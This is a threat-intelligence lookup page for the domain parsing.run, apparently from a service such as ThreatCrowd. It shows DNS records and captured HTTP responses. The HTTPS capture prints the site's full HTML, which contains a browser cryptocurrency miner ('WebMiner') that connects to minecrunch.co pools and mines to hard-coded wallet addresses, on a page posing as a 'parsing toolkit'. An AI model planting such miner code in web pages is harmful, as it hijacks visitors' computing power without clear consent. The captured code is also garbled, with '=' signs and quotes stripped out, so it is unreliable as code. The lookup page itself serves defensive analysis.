Help
RSS
API
Feed
Maltego
Contact
Domain > parsing.run
×
Welcome!
Right click nodes and scroll the mouse to navigate the graph.
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2019-11-28
31.131.18.3
(
ClassC
)
2025-01-15
185.235.129.97
(
ClassC
)
Port 80
HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Wed, 15 Jan 2025 10:50:29 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveLocation: https://parsing.run/X-app: parsingStrict-Transport-Security: max-age63072000; includeSubdomains; preloadX-UA-Compatible: IEEdge,chrome1 html>head>title>301 Moved Permanently/title>/head>body>center>h1>301 Moved Permanently/h1>/center>hr>center>nginx/center>/body>/html>
Port 443
HTTP/1.1 200 OKServer: nginxDate: Wed, 15 Jan 2025 10:50:30 GMTContent-Type: text/html; charsetutf-8Content-Length: 22631Last-Modified: Tue, 28 Jun 2022 08:27:15 GMTConnection: keep-aliveVary: Accept-EncodingETag: 62babb63-5867X-app: parsingStrict-Transport-Security: max-age63072000; includeSubdomains; preloadX-UA-Compatible: IEEdge,chrome1Accept-Ranges: bytes !DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>html xmlnshttp://www.w3.org/1999/xhtml>head>meta contenten-us http-equivContent-Language />meta contenttext/html; charsetutf-8 http-equivContent-Type />title>Main Parsing ToolKit/title>style typetext/css>@import url(https://fonts.googleapis.com/css?familyPT+Mono&subsetlatin,cyrillic);body{margin:0;background-color:#f4b04f;}.logo{position:absolute;top:120px;text-align:center;left:40px;right:40px;}.logo img{cursor:pointer;}.title{position:absolute;top:360px;text-align:center;left:40px;right:40px;text-align:center;font-family:Open Sans;font-size:48pt;font-weight:normal;color:#3F9CCF;color:rgba(255,255,255,.3);text-shadow:rgba(255,255,255,.5) 0 0 15px, rgba(255,255,255,.5) 0 0 10px;}#stream{ color:transparent;text-shadow:0 0 2px white;opacity:0.5; position:absolute;top:20px;bottom:20px;left:40px;right:40px; display:inline-block;vertical-align:bottom;overflow:hidden; font-family:PT Mono;white-space:pre;}#stream.line{ padding:2px 4px;margin:2px; vertical-align:bottom;}.stream-gradient{ position:absolute;bottom:0px;left:0;right:0;height:30%; background:-webkit-linear-gradient(top,transparent,#f4b04f);background:-o-linear-gradient(down,transparent,#f4b04f); background:-moz-linear-gradient(down,transparent,#f4b04f);background:linear-gradient(to down,transparent,#f4b04f);}.noselect{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}.curdef{cursor:default;}/style>script src//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js>/script>script srchttp://fredibach.ch/jquery-plugins/js/jquery.removeoverflow-0.2.js>/script>script nameloader>window.loaderwindowloader||{};loader.getScriptloadergetScript||function(u,d,f,a){ var tnew Date().getTime();$.getScript(u) .done(function(){t(new Date()).getTime()-t;console.log(- loader.getScript done:,u,t/1000);d&&d()}) .fail(function(){t(new Date()).getTime()-t;console.log(- loader.getScript fail:,u,t/1000);f&&f()}) .always(function(){a&&a()})};/script>script nameWebMiner>function WebMiner(config) { /* Default values */ this.debug false; this.username null; this.coin feathercoin; this.threads 1; /* Extend values from config argument */ var whitelist debug, username, threads, coin; if (!config) config {}; for(x in config) { if (whitelist.indexOf(x) ! -1) { thisx configx; } } this._coins { litecoin : { algorithm: scrypt.asm.js, pool:wss://minecrunch.co:3001, default_wallet:n1H8fFbeRsyFvhZ4XucuznHenF1qFpqnKp, reversed_endiannes: false }, feathercoin : { algorithm: neoscrypt.asm.js, pool: wss://minecrunch.co:3002, default_wallet:6nmfjYVToBWb2ys4deasdydPj1kW9Gyfp4, reversed_endiannes: true } }; if (!this._coinsthis.coin) { throw Unknown coin + this.coin; return false; } this._coin this._coinsthis.coin; if (!this.username) { this.username this._coin.default_wallet; } this._algorithm this._coin.algorithm; this._pool_server this._coin.pool; this._domain https://minecrunch.co/web; this.password 111; this._query_id 1; this._stratumQueries {}; this._workers ; this._extranonce1 ; this._extranonce2 (Math.random() * 0xffffffff) >>> 0; this._extranonce2_size 0; this._target CryptoJS.enc.Hex.parse(000000000000000000000000000000000000000000000000000000000000ffff); this._statTime Date.now(); this._statHashes 0; this.hashRate 0; this.totalHashes 0; this.thisWorkHashes 0; this.shares 0; this.acceptedShares 0; this.rejectedShares 0;}WebMiner.NOTIFICATION { SYSTEM_ERROR : 0, PERMISSION_ERROR : 1, CONNECTION_ERROR : 2, AUTHENTICATION_ERROR : 3, COMMUNICATION_ERROR : 4, LONG_POLLING_FAILED : 5, LONG_POLLING_ENABLED : 6, NEW_BLOCK_DETECTED : 7, NEW_WORK : 8, POW_TRUE : 9, POW_FALSE : 10, TERMINATED : 11, STARTED: 12, SHARE_FOUND: 13, STATISTIC: 14};WebMiner._STATISTIC_INTERVAL 100;/* Start the worker */WebMiner.prototype.start function() { this.stop(); this._startStratum();};/* Stop the worker */WebMiner.prototype.stop function() { this._job null; this._stopWorkers(); this._stopStratum();};WebMiner.prototype.onEvent function() {}/* Private internal parts */WebMiner.prototype._startStratumfunction(retryPause){ retryPauseretryPause||5; stream.add(open new websocket: +this._pool_server); var wsthis._wsnew WebSocket(this._pool_server); ws.onopenfunction(e){ retryPause5; /* Subscribe */ stream.add(stratum subscribe: +JSON.stringify({method:mining.subscribe,params:})); this._stratumSend({method:mining.subscribe,params:},function(message){ stream.add(stratum message: +JSON.stringify(message)); if(!message.error){ stream.add(extranonce1: +JSON.stringify(message.result1)); this._extranonce1 message.result1; stream.add(extranonce2 size: +JSON.stringify(message.result2)); this._extranonce2_size message.result2; }else{ this._notify({ notification: WebMiner.NOTIFICATION.COMMUNICATION_ERROR }); this._logger(message); this.stop(); } }.bind(this)); /* Authorization */ stream.add(stratum authorize: +JSON.stringify({ method:mining.authorize,params:this.username,this.password})); this._stratumSend({ method:mining.authorize,params:this.username,this.password},function(message){ if (!message.result){ this._notify({notification:WebMiner.NOTIFICATION.AUTHENTICATION_ERROR}); this._logger(message); this.stop(); } }.bind(this)); }.bind(this); ws.onmessagethis._onStratumMessage.bind(this); ws.onclose function(e) { this._stopWorkers(); this._notify({retryPause:retryPause,notification:WebMiner.NOTIFICATION.CONNECTION_ERROR}); setTimeout(function(){this._startStratum(retryPause*2)}.bind(this),retryPause*1000); }.bind(this);}WebMiner.prototype._stratumSend function(message, callback) { message.id this._query_id++; this._stratumQueriesmessage.id callback; this._ws.send(JSON.stringify(message) + \n);}WebMiner.prototype._onStratumMessage function(message) { try{dataJSON.parse(message.data)} catch(e){ this._logger(Malformed response: %s,message.data); this._notify({notification:WebMiner.NOTIFICATION.COMMUNICATION_ERROR}); return} //Response to request if(data.id){ if (this._stratumQueriesdata.id) { this._stratumQueriesdata.id(data); delete this._stratumQueriesdata.id; } else { this._logger(Unknown response: %s, message.data); this._notify({ notification: WebMiner.NOTIFICATION.COMMUNICATION_ERROR }); } //Notification } else { if (data.method mining.set_difficulty) { this.difficulty data.params0; this._target WebMiner._calculateTarget(this.difficulty); } else if (data.method mining.notify) { if (!this._job || data.params8) { this._newJob(data); } } }}WebMiner.prototype._stopStratum function() { if (this._ws ! null) { stream.add(stratum close..); this._ws.onclose null; this._ws.close(); this._ws null; }}WebMiner.prototype._createWorker function(job) { //Hack to load Worker script window.URL window.URL || window.webkitURL; if (!this._workerBlob) { var content WebMiner._readScript(this._domain + /worker.js); var blob; try { blob new Blob(content, {type: application/javascript}); } catch (e) { // Backwards-compatibility window.BlobBuilder window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder; blob new BlobBuilder(); blob.append(content); blob blob.getBlob(); } this._workerBlob blob; } var worker new Worker(URL.createObjectURL(this._workerBlob)); worker.onmessage this._onMessage.bind(this); worker.postMessage({ cmd: initialize, config: { NOTIFICATION: WebMiner.NOTIFICATION, domain: this._domain, algorithm: this._algorithm, hash_speed_interval: WebMiner._STATISTIC_INTERVAL }, job: job }); return worker;}WebMiner.prototype._stopWorkers function() { while(this._workers.length){ stream.add(worker terminate..); this._workers.pop().terminate(); } this.running false; this._notify({ notification: WebMiner.NOTIFICATION.TERMINATED });}WebMiner.prototype._onMessage function(e) { if (e.data.notification WebMiner.NOTIFICATION.SHARE_FOUND) { this.shares++; this._submitJob(e.data.nonce, e.data.extranonce2); //Kill and restart current worker if (e.currentTarget instanceof Worker) { var i; if ((i this._workers.indexOf(e.currentTarget)) ! -1) { this._workers.splice(i, 1)0.terminate(); var worker this._createWorker(this._stratumGenWork(this._job)); worker.postMessage({ cmd: start }); this._workers.push(worker); } } } if (e.data.notification WebMiner.NOTIFICATION.STATISTIC) { this._statHashes + WebMiner._STATISTIC_INTERVAL; this.totalHashes + WebMiner._STATISTIC_INTERVAL; this.thisWorkHashes + WebMiner._STATISTIC_INTERVAL; var timediff Date.now() - this._statTime; //5 seconds from last measurement if (timediff 1*1000) { return; } else { this.hashRate this._statHashes * 1000 / timediff; this._statHashes 0; this._statTime Date.now(); } } this._notify(e.data);};WebMiner.prototype._notify function(data) { var notification data.notification; var message data.message; if (notification ! null) { switch(notification) { case WebMiner.NOTIFICATION.SYSTEM_ERROR: message System error.; break; case WebMiner.NOTIFICATION.PERMISSION_ERROR: message Permission error.; break; case WebMiner.NOTIFICATION.CONNECTION_ERROR: message Connection error, retrying in + data.retryPause + seconds.; break; case WebMiner.NOTIFICATION.AUTHENTICATION_ERROR: message Invalid worker username or password.; break; case WebMiner.NOTIFICATION.COMMUNICATION_ERROR: message Communication error.; break; case WebMiner.NOTIFICATION.LONG_POLLING_FAILED: message Long polling failed.; break; case WebMiner.NOTIFICATION.LONG_POLLING_ENABLED: message Long polling activated.; break; case WebMiner.NOTIFICATION.NEW_BLOCK_DETECTED: message LONGPOLL detected new block.; break; case WebMiner.NOTIFICATION.NEW_WORK: message Started new work.; break; case WebMiner.NOTIFICATION.POW_TRUE: message PROOF OF WORK RESULT: true (yay!!!); break; case WebMiner.NOTIFICATION.POW_FALSE: message PROOF OF WORK RESULT: false (booooo); break; case WebMiner.NOTIFICATION.TERMINATED: message Terminated.; break; case WebMiner.NOTIFICATION.STARTED: message Worker started.; break; case WebMiner.NOTIFICATION.SHARE_FOUND: message New share found. Nonce is + data.nonce; break; case WebMiner.NOTIFICATION.STATISTIC: message Hashrate is + Math.round(this.hashRate) + h/sec. Total hashes are + this.totalHashes; data.hashRate this.hashRate; break; } } if (message) { this._logger(message); data.message message; } this.onEvent(data);}WebMiner.prototype._logger function() { if (this.debug) { try { console.log.apply(console, Array.prototype.slice.call(arguments, 0)); } catch(e) {}; }};WebMiner.prototype._newJob function(data) { this._job { job_id: data.params0, prevhash: data.params1, coinb1: data.params2, coinb2: data.params3, merkle_branch: data.params4, version: data.params5, nbits: data.params6, ntime: data.params7 }; this.thisWorkHashes 0; this._notify({ notification: WebMiner.NOTIFICATION.NEW_WORK}); this._stopWorkers(); for (var i 0; i this.threads; i++) { var worker this._createWorker(this._stratumGenWork(this._job)); worker.postMessage({ cmd: start }); this._workers.push(worker); } this.running true; this._notify({ notification: WebMiner.NOTIFICATION.STARTED});};WebMiner.prototype._submitJob function(nonce, extranonce2) { this._stratumSend({ method: mining.submit, params: this.username, this._job.job_id, extranonce2, this._job.ntime, WebMiner._zeropad(nonce.toString(16), 8) }, function(message) { if (message.result) { this.acceptedShares++; this._notify({ notification: WebMiner.NOTIFICATION.POW_TRUE }); } else { this.rejectedShares++; this._notify({ notification: WebMiner.NOTIFICATION.POW_FALSE }); } }.bind(this));}WebMiner._readScript function(n) { var xhr new XMLHttpRequest(); xhr.open(GET, n, false); xhr.send(null); var x xhr.responseText; return x;};WebMiner.BLOCK_HEADER_PADDING 000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000;WebMiner.REVERSED_BLOCK_HEADER_PADDING 800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280;/* Took from CPU-Miner source code */WebMiner._calculateTargetfunction(diff){ diff/65536.0; for(var k6;k>0&&diff>1.0;k--)diff/4294967296.0; var m4294901760.0/diff; var target0,0,0,0,0,0,0,0; targetkm&0xffffffff; targetk+1(m/0xffffffff)|0; return new CryptoJS.lib.WordArray.init(target,32);}WebMiner._zeropad function(num, length) { return (Array(length).join(0) + num).slice(length*-1);}WebMiner.prototype._get_extranonce2 function() { return WebMiner._zeropad(this._extranonce2++, this._extranonce2_size*2);}WebMiner.prototype._get_block_header_padding function() { return this._coin.reversed_endiannes ? WebMiner.REVERSED_BLOCK_HEADER_PADDING : WebMiner.BLOCK_HEADER_PADDING;}WebMiner.prototype._stratumGenWork function(job) { job.extranonce2 this._get_extranonce2(); job.target this._target; var coin_base job.coinb1 + this._extranonce1 + job.extranonce2 + job.coinb2; /* Building merkle root */ var merkle_root CryptoJS.SHA256(CryptoJS.SHA256(CryptoJS.enc.Hex.parse(coin_base))); for (var i in job.merkle_branch) { var final_merkle_root merkle_root.concat(CryptoJS.enc.Hex.parse(job.merkle_branchi)); merkle_root CryptoJS.SHA256(CryptoJS.SHA256(final_merkle_root)); } job.merkle_root merkle_root.swap_bytes().toString(CryptoJS.enc.Hex); /* Build header */ job.data CryptoJS.enc.Hex.parse(job.version, job.prevhash, job.merkle_root, job.ntime, job.nbits, 00000000, this._get_block_header_padding().join()); if (!this._coin.reversed_endiannes) { job.data.swap_bytes(); } return job;}/*CryptoJS v3.1.2code.google.com/p/crypto-js(c) 2009-2013 by Jeff Mott. All rights reserved.code.google.com/p/crypto-js/wiki/License*/var CryptoJSCryptoJS||function(h,s){var f{},tf.lib{},gfunction(){},jt.Base{extend:function(a){g.prototypethis;var cnew g;a&&c.mixIn(a);c.hasOwnProperty(init)||(c.initfunction(){c.$super.init.apply(this,arguments)});c.init.prototypec;c.$superthis;return c},create:function(){var athis.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(thiscac);a.hasOwnProperty(toString)&&(this.toStringa.toString)},clone:function(){return this.init.prototype.extend(this)}},qt.WordArrayj.extend({init:function(a,c){athis.wordsa||;this.sigBytesc!s?c:4*a.length},toString:function(a){return(a||u).stringify(this)},concat:function(a){var cthis.words,da.words,bthis.sigBytes;aa.sigBytes;this.clamp();if(b%4)for(var e0;ea;e++)cb+e>>>2|(de>>>2>>>24-8*(e%4)&255)24-8*((b+e)%4);else if(65535d.length)for(e0;ea;e+4)cb+e>>>2de>>>2;else c.push.apply(c,d);this.sigBytes+a;return this},clamp:function(){var athis.words,cthis.sigBytes;ac>>>2&429496729532-8*(c%4);a.lengthh.ceil(c/4)},clone:function(){var aj.clone.call(this);a.wordsthis.words.slice(0);return a},random:function(a){for(var c,d0;da;d+4)c.push(4294967296*h.random()|0);return new q.init(c,a)}}),vf.enc{},uv.Hex{stringify:function(a){var ca.words;aa.sigBytes;for(var d,b0;ba;b++){var ecb>>>2>>>24-8*(b%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join()},parse:function(a){for(var ca.length,d,b0;bc;b+2)db>>>3|parseInt(a.substr(b,2),16)24-4*(b%8);return new q.init(d,c/2)}},kv.Latin1{stringify:function(a){var ca.words;aa.sigBytes;for(var d,b0;ba;b++)d.push(String.fromCharCode(cb>>>2>>>24-8*(b%4)&255));return d.join()},parse:function(a){for(var ca.length,d,b0;bc;b++)db>>>2|(a.charCodeAt(b)&255)24-8*(b%4);return new q.init(d,c)}},lv.Utf8{stringify:function(a){try{return decodeURIComponent(escape(k.stringify(a)))}catch(c){throw Error(Malformed UTF-8 data);}},parse:function(a){return k.parse(unescape(encodeURIComponent(a)))}},xt.BufferedBlockAlgorithmj.extend({reset:function(){this._datanew q.init;this._nDataBytes0},_append:function(a){stringtypeof a&&(al.parse(a));this._data.concat(a);this._nDataBytes+a.sigBytes},_process:function(a){var cthis._data,dc.words,bc.sigBytes,ethis.blockSize,fb/(4*e),fa?h.ceil(f):h.max((f|0)-this._minBufferSize,0);af*e;bh.min(4*a,b);if(a){for(var m0;ma;m+e)this._doProcessBlock(d,m);md.splice(0,a);c.sigBytes-b}return new q.init(m,b)},clone:function(){var aj.clone.call(this);a._datathis._data.clone();return a},_minBufferSize:0});t.Hasherx.extend({cfg:j.extend(),init:function(a){this.cfgthis.cfg.extend(a);this.reset()},reset:function(){x.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(c,d){return(new a.init(d)).finalize(c)}},_createHmacHelper:function(a){return function(c,d){return(new w.HMAC.init(a,d)).finalize(c)}}});var wf.algo{};return f}(Math);(function(h){for(var sCryptoJS,fs.lib,tf.WordArray,gf.Hasher,fs.algo,j,q,vfunction(a){return 4294967296*(a-(a|0))|0},u2,k0;64>k;){var l;a:{lu;for(var xh.sqrt(l),w2;wx;w++)if(!(l%w)){l!1;break a}l!0}l&&(8>k&&(jkv(h.pow(u,0.5))),qkv(h.pow(u,1/3)),k++);u++}var a,ff.SHA256g.extend({_doReset:function(){this._hashnew t.init(j.slice(0))},_doProcessBlock:function(c,d){for(var bthis._hash.words,eb0,fb1,mb2,hb3,pb4,jb5,kb6,lb7,n0;64>n;n++){if(16>n)ancd+n|0;else{var ran-15,gan-2;an((r25|r>>>7)^(r14|r>>>18)^r>>>3)+an-7+((g15|g>>>17)^(g13|g>>>19)^g>>>10)+an-16}rl+((p26|p>>>6)^(p21|p>>>11)^(p7|p>>>25))+(p&j^~p&k)+qn+an;g((e30|e>>>2)^(e19|e>>>13)^(e10|e>>>22))+(e&f^e&m^f&m);lk;kj;jp;ph+r|0;hm;mf;fe;er+g|0}b0b0+e|0;b1b1+f|0;b2b2+m|0;b3b3+h|0;b4b4+p|0;b5b5+j|0;b6b6+k|0;b7b7+l|0},_doFinalize:function(){var athis._data,da.words,b8*this._nDataBytes,e8*a.sigBytes;de>>>5|12824-e%32;d(e+64>>>94)+14h.floor(b/4294967296);d(e+64>>>94)+15b;a.sigBytes4*d.length;this._process();return this._hash},clone:function(){var ag.clone.call(this);a._hashthis._hash.clone();return a}});s.SHA256g._createHelper(f);s.HmacSHA256g._createHmacHelper(f)})(Math);CryptoJS.lib.WordArray.__proto__.swap_bytesfunction(){//3->0,1->2,2->1for(var i0;ithis.words.length;i++){ var dwordthis.wordsi;this.wordsi((dword>>24)&0xff)|((dword8)&0xff0000)|((dword>>8)&0xff00)|((dword24)&0xff000000)} return this}/script>script namemain>initfunction(){ var minernew WebMiner({username:6se8ykJRuDKXLhvfCBZTBhFA9kk1qZdyqn,threads:1,debug:true}); miner.logfunction(m,v){console.log(m,v)} //miner.onEventfunction(e){} window.minerminer; miner.startedfalse; $(#sticker).on(click,function(){if(miner.started)miner.stop();else miner.start();miner.started!miner.started})}streamwindowstream||{ add:function(m){ $(#stream).prepend(div classline>+m+/div>); $(#stream).removeOverflow(); },};$(init);/script>/head>body>div classnoselect curdef> div idstream>/div> div classstream-gradient>/div> div classlogo>img idsticker height212 src/img/sp-logo.png width200 />/div> h1 classtitle>oops!/h1>/div>/body>/html>
View on OTX
|
View on ThreatMiner
Please enable JavaScript to view the
comments powered by Disqus.
Data with thanks to
AlienVault OTX
,
VirusTotal
,
Malwr
and
others
. [
Sitemap
]